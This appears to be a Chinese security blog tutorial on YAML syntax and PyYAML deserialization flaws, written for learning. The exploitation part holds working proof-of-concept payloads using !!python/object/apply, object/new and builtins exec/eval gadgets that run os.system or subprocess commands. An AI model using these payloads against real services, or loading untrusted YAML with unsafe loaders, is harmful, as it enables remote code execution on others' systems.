pyyaml 反序列化
参考链接:https://xz.aliyun.com/t/12481
yaml基础理论
yaml也是一种序列化语言,但是不同于之前学习的pickle,yaml具有良好的跨平台性,同时利于人阅读(虽然pickle也能挺着读).yaml文件的后缀一般为yml
yaml基本语法
1.大小写敏感
2.使用空格来表示层次关系,禁止使用tab,相同层级的对其即可
3.使用#来表示单行注释
person:
name: John
age: 30
address:
street: Main St.
city: Anytown
state: CA
hobbies:
- reading
- hiking
- swimming
4.一个文件中可以包括多个序列化内容,通过---
来表示一个序列化内容的开始,通过...
来表示一个序列化内容的结束
---
example1:
username: admin
passwd: 123456
...
---
example2:
username: aaa
passwd: 666
...
yaml中的数据类型
1.标量:如字符串,整数,浮点数,布尔值等
name: "John" # 字符串
age: 30 # 整数 (可以支持二进制表示)
height: 5.8 # 浮点数 (可以支持科学计数法)
is_student: false # 布尔值 (null,Null,~均为空)
2.列表:通过短横线表示,是有序的结构
fruits:
- apple
- banana
- orange
也支持使用类似python中的内敛形式,通过[]
来引起,中间通过,
来分割
fruit: [apple, banana, orange]
同时支持嵌套结构,使用缩进来表示层级关系
fruit:
-
- apple
- banana
-
- orange
3.映射:使用键值对来表示,是无序结构
person:
name: John
age: 30
city: New York
也支持类似python中字典的写法,通过{}
来引起,中间通过,
来分割
key: { username: admin, passwd: 123456}
可以通过?
来声明一个复杂的结构,通过多个数组来组成键或值
?
- user1
- user2
:
- passwd1
- passwd2
同时支持嵌套结构,使用缩进来表示层级关系
example:
aaa: 123
bbb:
ccc:
ddd: 666
4.多行字符串:可以通过管道符|
或是重定向符号>
来表示.
description: |
This is a multi-line
string using the pipe symbol. # 每行的缩进和行尾空白都会被去掉,而额外的缩进会被保留
lines: >
aaa
bbbbbb
ccccccc
dddddddd # 只有空白行才会被识别为换行,原来的换行符都会被转换成空格
字符串一般不需要使用引号包围,但是如果使用了转义字符,则需要使用引号.
strings:
- Hi
- "\u0048\u0069" # Hi的Unicode编码
- "\x46\x69\x6e\x65" # Fine的Hex编码
5.引用类型:yaml中可以使用锚点&
和别名*
来创建引用类型.
person1: &person_alias
name: John
age: 30
person2: *person_alias
相当于
person1:
name: John
age: 30
person2:
name: John
age: 30
而如果是在映射中使用别名的话,需要使用合并标签<<
来构成键值对形式.注意如果所有的别名都使用了合并标签的话,则锚点实际上并不存在.
# 使用锚点和别名消除重复代码
defaults: &defaults
host: localhost
port: 8080
timeout: 30
development:
<<: *defaults
database: dev_db
test:
<<: *defaults
database: test_db
timeout: 60
相当于
development:
host: localhost
port: 8080
timeout: 30
database: dev_db
test:
host: localhost
port: 8080
timeout: 60
database: test_db
6.时间戳:可以使用ISO 860
国际标准来表示时间
timestamp: 2023-04-24T12:34:56.789Z
7.强制类型转换:yaml中支持使用严格类型标签!!
来强制类型转换,例如:
# 使用显式类型转换将字符串转换成整数和浮点数
age: !!int 30
pi: !!float 3.14
# 使用显式类型转换将数字转换成字符串
number_as_str: !!str 123
# 使用显式类型转换将字符串转换成布尔值
is_valid: !!bool "true"
# 使用显式类型转换将时间戳转换成日期时间
created_at: !!timestamp 2023-04-24T12:34:56.789Z
# 使用显式类型转换将列表转换成其他类型
list_as_str: !!str [1, 2, 3]
list_as_map: !!map [1, 2, 3]
yaml反序列化漏洞成因及利用
pyyaml中的解析器,加载器和构建器
在 PyYAML 中,解析器(Parser),加载器(Loader)和构建器(Constructor)是三个协同工作的组件,它们共同负责将 YAML 文本转换成 Python 对象.下面是每个组件的作用和关系:
- 解析器(Parser)
- 作用: 解析器负责读取原始的 YAML 文本,并将其转换成一个令牌(Token)流.这些令牌表示 YAML 文本中的结构和语法元素,如标量,序列,映射的开始和结束,以及键值对等.
- 关系: 解析器是处理 YAML 数据的第一步,它仅关注于文本的语法结构,不涉及具体的数据类型转换.解析器的输出(令牌流)被传递给加载器.
- 加载器(Loader)
- 作用: 加载器接收解析器生成的令牌流,然后使用构建器将这些令牌转换成内部的节点树(如标量节点,序列节点,映射节点).加载器还负责解析 YAML 中定义的标签(如
!!str
,!!int
),并根据这些标签和节点类型调用相应的构建器方法来创建 Python 对象. - 关系: 加载器是连接解析器和构建器的桥梁.它解析令牌流并构建内部节点树,然后依据这些节点和标签信息调用构建器来生成最终的 Python 对象.
- 构建器(Constructor)
- 作用: 构建器负责将加载器生成的内部节点树转换为具体的 Python 数据结构和对象.它根据节点的类型(标量,序列,映射)和标签(如
!!str
,!!seq
)来创建相应的 Python 对象(如字符串,列表,字典). - 关系: 构建器直接由加载器调用,是将 YAML 数据转换为 Python 对象的最后一步.构建器可以被扩展以支持自定义的 YAML 标签和相应的 Python 对象转换.
总结来说,解析器,加载器和构建器是 PyYAML 库处理 YAML 数据的三个主要组件.解析器负责分析文本结构,加载器负责解析令牌流并构建节点树,构建器则根据这些节点和标签信息创建最终的 Python 对象.这个过程允许 PyYAML 将复杂的 YAML 数据高效地转换为 Python 中的数据结构.
加载器的构造函数
什么是加载器的构造函数?
import yaml
class Person:
def __init__(self, name, age):
self.name = name
self.age = age
# 自定义构造器函数
def construct_person(loader, node):
# 获取Person类的属性值
data = loader.construct_mapping(node, deep=True)
# 实例化Person类并设置属性
return Person(data['name'], data['age'])
# 将!python/object标签映射到自定义构造器函数
yaml.add_constructor('!python/object:__main__.Person', construct_person)
# 定义一个包含自定义类实例的YAML数据
yaml_data = """
name: John
age: 30
person:
!python/object:__main__.Person
name: Alice
age: 25
"""
# 使用yaml.Loader()方法解析YAML数据
data = yaml.load(yaml_data,Loader=yaml.Loader)
# 输出解析后的Python对象
print(data)
#{'name': 'John', 'age': 30, 'person': <__main__.Person object at 0x0000014CB7884F90>}
其中的add_constructor
用于为加载器添加自定义的解析规则,第一个参数为一个标签,第二个参数为自定义的构造器函数
construct_mapping
为加载器自带的构造器函数,用于获取某个节点的键值对,类似的构造函数如下:
construct_scalar
:- 用于处理YAML标量节点(如字符串、整数、浮点数).
- 返回节点的单一值.
construct_sequence
:- 用于处理YAML序列节点(类似于Python中的列表或元组).
- 返回一个Python列表,包含序列中的所有元素.
construct_mapping
:- 已经提到,用于处理YAML映射节点(键值对),返回一个Python字典.
construct_pairs
:- 用于处理YAML映射节点,但与
construct_mapping
不同的是,它保留了键值对的顺序. - 返回一个列表,列表中的每个元素都是一个键值对元组.
- 用于处理YAML映射节点,但与
construct_object
:- 用于根据YAML节点构造任意Python对象.
- 这个函数通常在更复杂的自定义构造器中使用,当需要直接控制对象的创建过程时.
construct_undefined
:- 用于处理未定义标签的YAML节点.
- 这可以用于捕获错误或处理未知标签.
上面的代码给yaml添加了一个自定义的构造器函数,成功的使返回的结果中包含了一个对象.
pyyaml<5.1
旧特性
在pyyaml5.1版本以下可以在load和load_all的时候不设置Loader参数,默认使用的是Loader是UnsafeLoader
在5.1之前存在下面的四种加载器
- BaseLoader:只加载最基本的 YAML,所有东西都作为字符串处理.
- SafeLoader:安全地加载 YAML,只允许包含简单数据类型的 YAML 文件.
- FullLoader:加载更复杂的 YAML,但仍然避免执行任意代码.
- UnsafeLoader(也称为 Loader):没有限制地加载任意对象,包括执行任意代码的能力.
漏洞成因
在pyyaml<5.1的情况下默认使用Constructor作为构建器,但是但是Constructor.py对python的标签解析时存在着漏洞.
存在漏洞的标签如下:
!!python/object/new
!!python/object/apply
!!python/module (未成功)
!!python/name (未成功)
经过分析其源码发现:这些标签的构造器函数都调用了make_python_instance()
,如下
def make_python_instance(self, suffix, node,
args=None, kwds=None, newobj=False, unsafe=False): #用于创建Python对象的实例
if not args:
args = [] #对args进行空值处理,如果不存在,将args设置为空列表
if not kwds:
kwds = {} #对kwds进行空值处理,如果不存在,将kwds设置为空字典
cls = self.find_python_name(suffix, node.start_mark)#利用定义的find_python_name方法根据suffix字符串和node节点的起始标记查找Python对象的完整名称,然后获取该对象的类对象
if not (unsafe or i/sinstance(cls, type)):
raise ConstructorError("while constructing a Python instance", node.start_mark,
"expected a class, but found %r" % type(cls),
node.start_mark)#如果unsafe参数为False,并且获取的对象不是类对象,则抛出ConstructorError异常.
if newobj and isinstance(cls, type):
return cls.__new__(cls, *args, **kwds)
else:
return cls(*args, **kwds)#根据newobj参数的值,以及获取的类对象是否为类型对象,选择使用__new__方法或__init__方法创建Python对象实例,并将args和kwds参数传递给构造函数.如果newobj为True且获取的类对象是类型对象,则使用__new__方法创建实例;否则,使用__init__方法创建实例
我们发现是利用args和kwds这两个参数来动态的创建对象.而这个函数又调用了find_python_name()
,如下
def find_python_name(self, name, mark, unsafe=False):
if not name:
raise ConstructorError("while constructing a Python object", mark,
"expected non-empty name appended to the tag", mark) #如果name为空,将会报错
if '.' in name:
module_name, object_name = name.rsplit('.', 1) #如果name中包含".",将会对name进行分割为模板名和对象名
else:
module_name = 'builtins'
object_name = name #如果name中没有".",则会将模板名命名为"builtins",对象名命名为"name"
if unsafe:
try:
__import__(module_name) #unsafe默认为False,所以可以利用__import__将模块导入
except ImportError as exc:
raise ConstructorError("while constructing a Python object", mark,
"cannot find module %r (%s)" % (module_name, exc), mark) #如果ImportError异常,将会报错
if not module_name in sys.modules:
raise ConstructorError("while constructing a Python object", mark,
"module %r is not imported" % module_name, mark)#如果模块不在sys.modules字典中,将会报错
module = sys.modules[module_name]
if not hasattr(module, object_name):
raise ConstructorError("while constructing a Python object", mark,
"cannot find %r in the module %r"
% (object_name, module.__name__), mark)#使用hasattr()函数查该模块是否包含了指定的对象名,如果没有将报错
return getattr(module, object_name)#利用getattr()函数获取返回值
可以通过引用module类来创建对象,实现任意代码的执行.
漏洞利用
目前测试可用的是如下两套payload
1.python.object.new
import yaml
poc = '!!python/object/new:os.system ["calc.exe"]'
#给出一些相同用法的POC
#poc = '!!python/object/new:subprocess.check_output [["calc.exe"]]'
#poc = '!!python/object/new:os.popen ["calc.exe"]'
#poc = '!!python/object/new:subprocess.run ["calc.exe"]'
#poc = '!!python/object/new:subprocess.call ["calc.exe"]'
#poc = '!!python/object/new:subprocess.Popen ["calc.exe"]'
yaml.load(poc)
2.python.object.apply
import yaml
poc = '!!python/object/apply:os.system ["calc.exe"]'
#给出一些相同用法的POC
#poc = '!!python/object/apply:subprocess.check_output [["calc.exe"]]'
#poc = '!!python/object/apply:os.popen ["calc.exe"]'
#poc = '!!python/object/apply:subprocess.run ["calc.exe"]'
#poc = '!!python/object/apply:subprocess.call ["calc.exe"]'
#poc = '!!python/object/apply:subprocess.Popen ["calc.exe"]'
yaml.load(poc)
其余的payload未成功,有需要可以去开篇的链接去学习.
pyyaml>=5.1
还是原先的四个加载器,但是强制要求在使用load等方法的时候手动选择加载器,否则会警告.同时也提供了unsafe_load()
方法,可以不选择加载器,相当与之前版本的load.
漏洞成因:和之前版本大体相同(实际上不写是因为看不懂了).
下面是几个可用的payload:
from yaml import *
poc= b"""!!python/object/apply:os.system
- calc"""
#subprocess.check_output
#os.popen
#subprocess.run
#subprocess.call
#subprocess.Popen
yaml.load(poc,Loader=Loader)
yaml.unsafe_load(poc)
下面是利用builtins的:
#报错,但是能够成功的执行
import yaml
poc= b"""
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('whoami')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
"""
yaml.unsafe_load(poc)
yaml.load(poc,Loader=yaml.Loader)
import yaml
poc= b"""
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:eval }]
listitems: "__import__('os').system('whoami')"
"""
# !!python/object/new:type
# args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
# listitems: "__import__('os').system('whoami')"
yaml.unsafe_load(poc)
yaml.load(poc,Loader=yaml.Loader)
import yaml
poc= b"""
- !!python/object/new:yaml.MappingNode
listitems: !!str '!!python/object/apply:subprocess.Popen [whoami]'
state:
tag: !!str dummy
value: !!str dummy
extend: !!python/name:yaml.unsafe_load
"""
yaml.unsafe_load(poc)
yaml.load(poc,Loader=yaml.Loader)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· 葡萄城 AI 搜索升级:DeepSeek 加持,客户体验更智能
· 什么是nginx的强缓存和协商缓存
· 一文读懂知识蒸馏